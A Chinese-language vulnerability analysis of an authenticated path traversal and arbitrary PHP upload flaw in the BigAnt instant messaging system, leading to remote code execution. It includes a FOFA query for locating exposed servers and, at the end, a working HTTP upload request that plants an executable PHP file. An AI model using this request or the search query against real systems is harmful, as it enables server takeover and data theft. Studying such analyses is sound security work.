漏洞简介
杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 uploadMultipleFile 接口存在目录遍历+任意文件写入/上传漏洞,攻击者可以通过上传特制的 php 文件,执行恶意代码,实现服务器的远程控制,可能导致敏感信息泄露、数据篡改等危害。
影响版本
BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响
fofa语法
(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"
漏洞分析
直接看 \Addin\Controller\UploadController::uploadMultipleFile 的实现逻辑开始部分的初始化
public function _initialize()
{
parent::_initialize();
// 权限检查
if (!sp_user_islogin()) {
$this->response(["status" => "0", "msg" => "Unauthorized"], "json", 401);
}
}
有权限检查,需要一个合法session即可。
往下看uploadMultipleFile()方法的实现逻辑
public function uploadMultipleFile(){
$saas_id = sp_saas_id() ;
if (!$saas_id)
$saas_id = '0';
$app_name = I('get.app_name','admin') ;
$options['file_id'] = I('get.file_id') ;
$options['rename'] = I('get.rename',1) ; // 0 原始名 1 重命名
$options['exts'] = I('get.exts') ;
$options['max_size'] = I('get.max_size',100) ;
$options['thumb_size'] = I('get.thumb_size') ;
$options['thumb_only'] = I('get.thumb_only',0) ;
$uploaded = I('get.fileCount');//已上传的文件个数
$count = I('get.limitCount');//文件上传总数限制
if(strpos($options['exts'],"php")!==false){
$html = json_encode(['status'=>0,"info"=>'禁止上传非法文件后缀']);
$html = '<script language="javascript">parent.openValid();parent.uploadComplete(' . $html . ');</script>';
echo $html ;
}
$fileData = \Common\Lib\SaasSDK::getUploadFile($options['file_id']);
// $fileData 返回的文件肯定是1个
//$uploadifyCount = count($fileData['name']);//获取要上传的文件个数
$uploadifyCount =1;
//获取上传目录
$dir = \Common\Lib\SaasSDK::getStoragePath($saas_id,$app_name) ;
sp_folder_create($dir);
//文件上传分为单文件上传和多文件上传
if($uploadifyCount > 1){
//比较上传的文件个数是否超过最大上限个数
if($uploaded + $uploadifyCount > $count){
$res = sp_api_fail(ERR_UPLOAD_ERR, L('_UPLOAD_IMAGE_LIMIT_').$count.L('_UPLOAD_IMAGE_UNIT_'));
}else{
//合并多维数组
$files = \Common\Lib\SaasSDK::getUploadFileData($fileData);
//上传文件
foreach($files as $file){
$res = \Common\Lib\SaasSDK::uploadAnFile($options,$dir,$file);
}
$data['files'] = $res['data'] ;
$data['status'] = 1 ;
}
}else{
$res = \Common\Lib\SaasSDK::uploadAnFile($options,$dir,$fileData);
if (! $res['status']){
$data = sp_return_fail($res['err_msg']);
}else{
$data = $res['data'] ;
$data['status'] = 1 ;
}
}
$returnType = I('get.return_type','js');
ob_clean();
if ($returnType == 'js'){
$html = json_encode($data);
$html = '<script language="javascript">parent.openValid();parent.uploadComplete(' . $html . ');</script>';
echo $html ;
}else{
var_dump($data);
die();
}
}
重点看$dir = \Common\Lib\SaasSDK::getStoragePath($saas_id,$app_name) ;因为这里涉及文件保存路径,后续使用sp_folder_create($dir);直接创建文件夹路径。
其中$saas_id来自session查询结果,$app_name来自用户的GET参数app_name,且直接拼接在路径中
/**
* 得到存储的路径
* @param string $saasId
* @param string $appName
* @param string $folder
*/
static function getStoragePath($saasId,$appName,$folder = ''){
$dir = "/data/$saasId/$appName/" ;
if ($folder)
$dir .= $folder ;
return $dir ;
}
最终保存路径为"/data/$saasId/$appName/" ,因此我们可以通过目录穿越到其他可执行目录,入根目录的public、doc目录等进行代码执行达到rce的效果。
再看 $res = \Common\Lib\SaasSDK::uploadAnFile($options,$dir,$fileData);涉及文件保存的具体操作部分
/**
* 表单提交上传文件 服务器存储是 saasId/pan, 目前支持一个附件
* @param unknown $dir 上传保存路径
* @param unknown $uploadFile 表单提交数据
* @param unknown $fileId 指定的文件ID
* @param unknown $exts 扩展名 array('jpg', 'gif', 'png', 'jpeg')
* @param unknown $maxSize 附件大小限制
* @param unknown $options array(
* 'file_id'=>'' 有的话指定控件ID
* "exts"=>"jpg,png,gif",
* "max_size", 以M为单位
* "thumb_size", 缩略图的尺寸
* "thumb_only" 1 只保留缩略图
* @return array status
["name"]=> "Hydrangeas.jpg"
["type"]=> "image/jpeg"
["size"]=> int(595284)
["key"]=> string(5) "file1"
["ext"]=> string(3) "jpg"
["md5"]=> string(32) "bdf3bf1da3405725be763540d6601144"
["sha1"]=> string(40) "d997e1c37edc05ad87d03603e32ad495ee2cfce1"
["savename"]=> string(17) "56c42298a5b33.jpg"
["savepath"]=> string(25) "/data/uploads/2016-02-17/"
["status"]=> int(1)
*/
static function uploadAnFile($options,$dir,$uploadFile){
//获取参数
$fileId = sp_array_value($options,'file_id');
$maxSize = sp_array_value($options,'max_size',10);
$exts = sp_array_value($options,'exts','');
$thumbSize = sp_array_value($options,'thumb_size');
$thumbOnly = sp_array_value($options,'thumb_only');
if (! array_key_exists('rename', $options)){
$options['rename'] = 1 ;
}
//设置选项
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize=$maxSize*1024*1024 ;// 设置附件上传大小
if ($exts){
$upload->exts=explode(",",$exts);
}
if($options['saveExt']) $upload->saveExt=$options['saveExt'];
$upload->replace = 1;
$upload->rootPath = '.'; // 设置附件上传根目录
$upload->savePath = $dir; // 设置附件上传(子)目录
//不重命名
if ($options['rename'] == 0){
$pathinfo = sp_pathinfo($uploadFile['name']);
$upload->saveName = $pathinfo['filename'];
//不重名的话,上传文件可以覆盖
$upload->uploadReplace = false; //不起效
//因为不起效,先删除后上传
//$filepath = $_SERVER['DOCUMENT_ROOT'] . $upload->savePath . $pathinfo['basename'];
//unlink($filepath);
}elseif($options['savename_no_change']==1){
$upload->saveName='';
}
//上传
$info = $upload->upload(array($uploadFile));
//返回
if(!$info) {// 上传错误提示错误信息
$msg = $upload->getError() ;
return sp_api_fail(ERR_UPLOAD_ERR, $msg);
}
$file = $info[0];
$file['savefile'] = $file['savepath'] . $file['savename'];
$file['key'] = $fileId ; //用来识别不同的上传控件
$file['file_type'] = sp_file_type($file['ext']);
//如果指定生成缩略图,并且文件类型图图片类型,则生成缩略图
if($thumbSize && $file['file_type']==2){
.....
}
return sp_api_success($file) ;
}
我们只需要重点关注,其中f ($options['rename'] == 0)不会重命名,$exts决定后缀如何处理,可以不提供就不处理,保持文件名原有后缀。
漏洞复现
需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式
/addin/Upload/uploadMultipleFile.html
/addin/Upload/uploadMultipleFile

POST /addin/Upload/uploadMultipleFile?exts=&rename=0&app_name=admin/../../../doc/ HTTP/1.1
Host: bigant.local:8000
Cookie: PHPSESSID=274lmmnv0trd2dl5djc4toa3gi
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: 140
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="tesx.php"
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary--

成功上传文件到doc目录下

访问上传文件,成功执行上传代码。


